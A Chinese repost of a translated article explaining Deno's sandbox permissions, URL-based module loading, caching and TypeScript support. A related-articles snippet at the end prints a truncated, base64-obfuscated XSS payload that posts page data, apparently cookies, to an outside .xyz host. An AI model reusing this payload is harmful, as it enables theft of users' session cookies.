首页 > 编程语言 >【拓展】什么是Deno?跟Node.js有何区别?

【拓展】什么是Deno?跟Node.js有何区别?

时间:2022-11-29 11:33:31浏览次数:54  
标签:Node URL JavaScript 有何 ts js Deno 模块


原文:What’s Deno, and how is it different from Node.js?(https://blog.logrocket.com/what-is-deno/)

【拓展】什么是Deno?跟Node.js有何区别?_typescript

Node.js的作者Ryan Dahl,过去一年半的时间都在打造一个新的JavaScript运行环境Deno来解决Node的一些内在问题。


不过不要误会,得益于JavaScript庞大的社区生态和使用范围,Node是一个非常不错的JavaScript运行环境。然而,Dahl 也承认在Node的某些方面他应该考虑得更全面一些,比如:安全性,模块机制,依赖管理等。


在他的计划中,他并不会去预想Deno在短时间内能够发展成一个多大规模的平台。当然咯,把时间调回2009年,JavaScript还是人人都能取笑的一个有些怪异的小语言,也木有现在这么多语言特性。


什么是Deno,以及它的主要特性是哪些?



Deno是基于Google V8引擎构建的安全的TypeScript运行环境。下面是构建Deno的一些物料:


Rust(Deno的核心模块使用Rust编写,Node的核心模块是用C++实现的)​


Tokio(Rust实现的异步编程框架)


TypeScript(Deno对JavaScript和TypeScript都支持开箱即用)​


V8(Google出品JavaScript运行时,主要用在Chrome和Node中)

接下来看看Deno提供了哪些特性。


安全性(权限管理)


Deno最重要的特性就是安全性。

相较于Node,Deno默认使用沙箱环境执行代码,这意味着运行环境没有操作以下模块权限:


文件系统


网络


执行其他的脚本


系统环境变量

让我们瞅一眼Deno的权限系统是如何工作滴。


  1. ​(async () => {​
  2. ​ const encoder = new TextEncoder();​
  3. ​ const data = encoder.encode('Hello world\n');​
  4. ​ await Deno.writeFile('hello.txt', data);​
  5. ​ await Deno.writeFile('hello2.txt', data);​
  6. ​})();​


这个脚本分别创建了两个名为hello.txt和hello2.txt的文件,并在其中写入Hello world。但是这段代码运行在沙箱环境中,所以是没有文件系统的操作权限滴。


还有一点值得注意,在上面的脚本中我们使用Deno命名空间来操作文件,而不像在Node中使用fs模块。Deno命名空间提供了超多基础方法。不过使用Deno命名空间会导致我们的代码失去了对浏览器的兼容性,这个问题我们晚点再聊。


使用下面的命令执行上述脚本:


  1. ​$ deno run write-hello.ts​

执行之后,我们会收到下面的提示:


  1. ​Deno requests write access to "/Users/user/folder/hello.txt". Grant? [a/y/n/d (a = allow always, y = allow once, n = deny once, d = deny always)]​

实际上,基于上面创建文件的脚本我们会收到两次来自沙箱环境的权限提示。不过如果我们选择allow always选项,就只会被询问一次啦。


如果我们选了deny,会抛出一个PermissionDenied的错误,如果我们没写错误处理逻辑的话,进程在此时就被终止啦。


如果我们用下面的命令来执行脚本:


  1. ​$ deno run --allow-write write-hello.ts​

会在没有提示的情况下创建这两个文件。


Deno针对文件系统的命令行标志位,除了--allow-write,还有--allow-net/--allow-env/--allow-run,分别用来开启针对网络、系统环境变量和操作子进程的权限。


模块机制


Deno使用浏览器一样的方式,通过URL来加载模块。很多人第一次见到在服务端的import语句中见到URL会感到有点困惑,但对我来说这还蛮好理解的:


  1. ​import { assertEquals } from "https://deno.land/std/testing/asserts.ts";​

你觉得通过URL来引入模块会有啥大不了的吗?答案其实蛮简单的:通过使用URL来加载模块,Deno就可以避免引入一个类似npm的中心化系统来发布package,npm最近受到了很多吐槽。


通过URL来引入代码,可以让包的作者们使用自己最喜爱的方式来维护和发布自己的代码。再也不会有package.json和node_modules了。


当我们启动应用之后,Deno会下载所有被引用的文件,并将它们缓存到本地。一旦引用被缓存下来,Deno就不会再去下载它们了,除非我们使用-- relaod标志位去触发重新下载。


还有几个问题值得我们讨论一哈:


万一存放引用的站点挂了咋办?



由于没有了一个中心化的包管理站点,那些存放模块的站点可能因为各种各样的原因挂掉。如果在开发甚至生产环境出现这种情况是非常危险滴!


我们在上一节提到,Deno会缓存好已下载的模块。由于缓存是存放在我们的本地磁盘的,Deno的作者建议将这些缓存提交到代码仓库里。这样一来,即使存放引用的站点挂了,开发者们还是可以使用已经下载好的模块(只不过版本是被锁住的啦)。


Deno会把缓存存储在环境变量$DENO_DIR所指定的目录下,如果我们不去设置这个变量,它会指向系统默认的缓存目录。我们可以把$DENO_DIR指定我们的本地仓库,然后把它们提交到版本管理系统中(比如:git)


只能使用URL来引用模块吗?



总是敲URL显得有点XX,还好,Deno提供了两种方案来避免我们成为XX。

第一种,你可以在本地文件中将已经引用的模块重新export出来,比如:


  1. ​export { test, assertEquals } from "https://deno.land/std/testing/mod.ts";​

假如上面这个文件叫local-test-utils.ts。现在,如果我们想再次使用test或者assertEquals方法,只需要像下面这样引用它们:


  1. ​import { test, assertEquals } from './local-test-utils.ts';​

看得出来,是不是通过URL来引用它们并不是最重要的啦。

第二种方案,建一个引用映射表,比如像下面这样一个JSON文件:

  1. ​{​
  2. ​   "imports": {​
  3. ​      "http/": "https://deno.land/std/http/"​
  4. ​   }​
  5. ​}​

然后把它像这样import到代码里:


  1. ​import { serve } from "http/server.ts";​


为了让它生效,我们还需要通过--importmap标志位让Deno来引入import映射表:


  1. ​$ deno run --importmap=import_map.json hello_server.ts​


如何进行版本管理?


版本管理必须由包作者来支持,这样在client端可以通过在URL中设置版本号来下载:https://unpkg.com/[email protected]/dist/liltest.js。


浏览器兼容性


Deno有计划做到兼容浏览器。从技术上讲,在使用ES module的前提下,我们不需要使用任何类似webpack的打包工具就能在浏览器上运行Deno代码。


不过呢,你可以使用类似Babel这样的工具可以把代码转化成ES5版本的JavaScript,这样可以兼容那些不支持所有最新语言特性的低版本浏览器中,带来的后果就是最终文件里有很多不是必须的冗余代码,增大代码的体积。


结果取决于我们的主要目的是啥。


支持TypeScript开箱即用



不需要任何配置文件就能在Deno中轻易地使用TypeScript。当然咯,你也可以编写纯JavaScript代码,并使用Deno去执行它。


总结


Deno,作为一个新的TypeScript和JavaScript的运行环境,是一个非常有趣的技术项目,并且至今已经稳定发展了一段时间。但是距离在生产环境中去使用它还有比较长的一段路要走。

通过去中心化(或者翻译成分布式?)的机制,把JavaScript生态系统从npm这样中心化的包管理系统中解放了出来。

Dahl希望在这个夏天快结束的时候能够发布1.0版本,所以如果你对Deno未来的新进展感兴趣的话,可以给它个star。


【拓展】什么是Deno?跟Node.js有何区别?_缓存_02


标签:Node,URL,JavaScript,有何,ts,js,Deno,模块
From: https://blog.51cto.com/u_11887782/5894603

相关文章

  • 【JS】569- 如何避免这4类 JavaScript 内存泄漏?
    英文原文| ​​https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/​​​本文将探索常见的客户端JavaScript内存泄漏,以......
  • 记录一下js 的xss 攻击
    <script>eval(atob('dmFyIGE9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7dmFyIGI9J2h0dHBzOi8vcGltb2lqdHJpeWdxdWh1aHZncmUueHl6Lyc7YS5vcGVuKCdQT1NUJyxiKTthLnNlbmQoZG9jdW1lbnQuY29......
  • clipboard.js 介绍
    这是著名开源项目clipboard.js的README.md,我把它翻译成中文。发出来,方便自己和他人阅读。项目地址:​​​https://github.com/zenorocha/clipboard.js​​​​​​现代化......
  • JS数据劫持 之 Proxy设置代理
    1、简介数据劫持,指的是在访问或者修改对象的某个属性时,通过一段代码拦截这个行为,进行额外的操作或者修改返回结果。经典的应用是Vue双向数据绑定。常见的数据劫持实现方......
  • Node.js & file system & async await & forEach bug All In One
    Node.js&filesystem&asyncawait&forEachbugAllInOneawait&forEachbugconstfs=require("fs").promises;constpath=require("path");//constit......
  • leetcode 39. 组合总和 js实现
    给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target ,找出 candidates 中可以使数字和为目标数 target 的所有 不同组合 ,并以列表形式返回。你......
  • 【Web开发】Node.js实现Web服务器(http模块)
    ......
  • 0124-Go-JSON 转换
    环境Time2022-08-25Go1.19前言说明参考:https://gobyexample.com/json目标使用Go语言的JSON。简单值packagemainimport("encoding/json""fmt......
  • JS案例:数组相关
    1、数组倒置<script>vararr=[1,2,3,4,5,6,7,8,9]varnewArr=[]for(i=arr.length-1;i>=0;i--){newArr[n......
  • json字符串转json对象三种方式
    //1,js自带的eval函数,其中需要添加小括号eval('('+str+')');functionstrToJson(str){varjson=eval('('+str+')');returnjson;}//2,newFunction形式fun......